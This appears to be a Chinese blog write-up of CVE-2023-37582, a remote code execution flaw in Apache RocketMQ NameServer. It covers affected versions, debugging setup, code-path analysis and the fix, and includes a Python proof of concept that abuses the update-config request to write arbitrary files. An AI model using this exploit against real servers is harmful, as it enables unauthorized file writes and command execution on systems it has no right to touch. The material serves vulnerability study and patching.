首页 > 其他分享 >Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

时间:2023-07-31 20:22:24浏览次数:33  
标签:src java apache 代码执行 2023 37582 org main rocketmq

image

漏洞简介

Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。

影响版本

Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6

环境搭建

参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建

还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动

一共需要运行两个服务

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

image

image

漏洞复现

运行 python 脚本

import socket
import binascii
client = socket.socket()
​
# you ip
client.connect(('192.168.222.130',9876))
​
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
​
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

image

image

成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表调用不同的功能,此时调用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

image

根据对应的 code 会调用 对应的函数进行处理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

image

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

image​​src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

image​​

首先判断是不是属于可控的属性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

imagesrc/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

image

调用 getStorePath​ 获取文件路径,此时获取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

image​​src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

image​​src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

image

漏洞修复

修改禁用修改配置路径的参数

image

更多网安技能的在线实操练习,请点击这里>>

标签:src,java,apache,代码执行,2023,37582,org,main,rocketmq
From: https://www.cnblogs.com/hetianlab/p/17594392.html

相关文章

  • 2023-07-31 在uniapp使用canvas绘制一个圆角为50%的图片【代码来自chatGpt,稍作修改】
    <template><view><canvasid="myCanvas":style="{width:'200px',height:'200px'}"></canvas></view></template><script>exportdefault{onReady(){this.......
  • 剑指offer_20230731
    剑指Offer07.重建二叉树题目说明输入某二叉树的前序遍历和中序遍历的结果,请构建该二叉树并返回其根节点。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。解题思路可以通过前序遍历的数组获取每个子树的根节点,并在中序遍历的数组中找到根节点对应的位置,然后就可......
  • P9482 [NOI2023] 字符串
    P9482[NOI2023]字符串限制长的很像回文串,但是是字典序关系。定睛一看比较的是原串\(s\)的一个后缀的前缀和翻转串\(s'\)的一个后缀的前缀比字典序。直接把\(s'\)拼到\(s\)后面,中间加个分隔符,来一次后缀排序。排名小的后缀字典序比排名大的后缀小。设当前比较的是......
  • 祝贺!openGauss社区技术委员会主席李国良当选2023 IEEE FELLOW
    祝贺!openGauss社区技术委员会主席李国良当选2023IEEEFELLOW[openGauss](javascript:void(0);)2022-11-2917:56发表于广东近日,IEEE(InstituteofElectricalandElectronicEngineers)公布了2023年度Fellow名单,全球共有319位学者入选,华人学者占104位(约占总人数的31%)。其中,openGa......
  • corctf2023
    fizzbuzz100题目代码:#!/usr/local/bin/pythonfromCrypto.Util.numberimport*fromosimporturandomflag=open("flag.txt","rb").read()flag=bytes_to_long(urandom(16)+flag+urandom(16))p=getPrime(512)q=getPrime(512)n=p......
  • 2023/07/31
    中国的古人写文字,是从右向左竖向排版的。本题就请你编写程序,把一段文字按古风排版。输入格式:输入在第一行给出一个正整数N(<100),是每一列的字符数。第二行给出一个长度不超过1000的非空字符串,以回车结束。输出格式:按古风格式排版给定的字符串,每列N个字符(除了最后一列可能不足......
  • 2023年7月31日 ‘天气:晴
       今天早上起来背了20个英语单词,然后学习了一个小时的Java编程,接下来就看了一会构建之法。最后就是写了一会pta上的作业。明天打算6点起床然后晨跑半小时,然后编程一小时。再就是出去打会羽毛球。再就是看会英语阅读。......
  • 你不知道的 ES2023
    6月27日ECMA大会批准了ECMAScript2023(es14)规范,意味着新的一些语法将正式成为标准。下面来看看ECMAScript2023有哪些值得我们关注的新特性。总览:具体相关提案原文详情可以跳转:已完成提案•从后往前查找数组•Hashbang语法•Symbol类型作为WeakMap类型的键......
  • DASCTF 2023 & 0X401七月暑期挑战赛
    比赛只出了一道,小菜不是罪过-_-controlflow这个题动调到底就行foriinrange(40):after_xor[i]=inp[i]^0x401after_xor[i]+=i*i;foriinrange(11,30,1):x=i-10after_xor[i]^=x*(x+1)foriinrange(40):after_xor[i]-=iafter_xo......
  • 行业追踪,2023-07-31,板块多数都是指向消费
    自动复盘2023-07-31凡所有相,皆是虚妄。若见诸相非相,即见如来。k线图是最好的老师,每天持续发布板块的rps排名,追踪板块,板块来开仓,板块去清仓,丢弃自以为是的想法,板块去留让市场来告诉你跟踪板块总结:成交额超过100亿排名靠前,macd柱由绿转红成交量要大于均线有必要给每个行......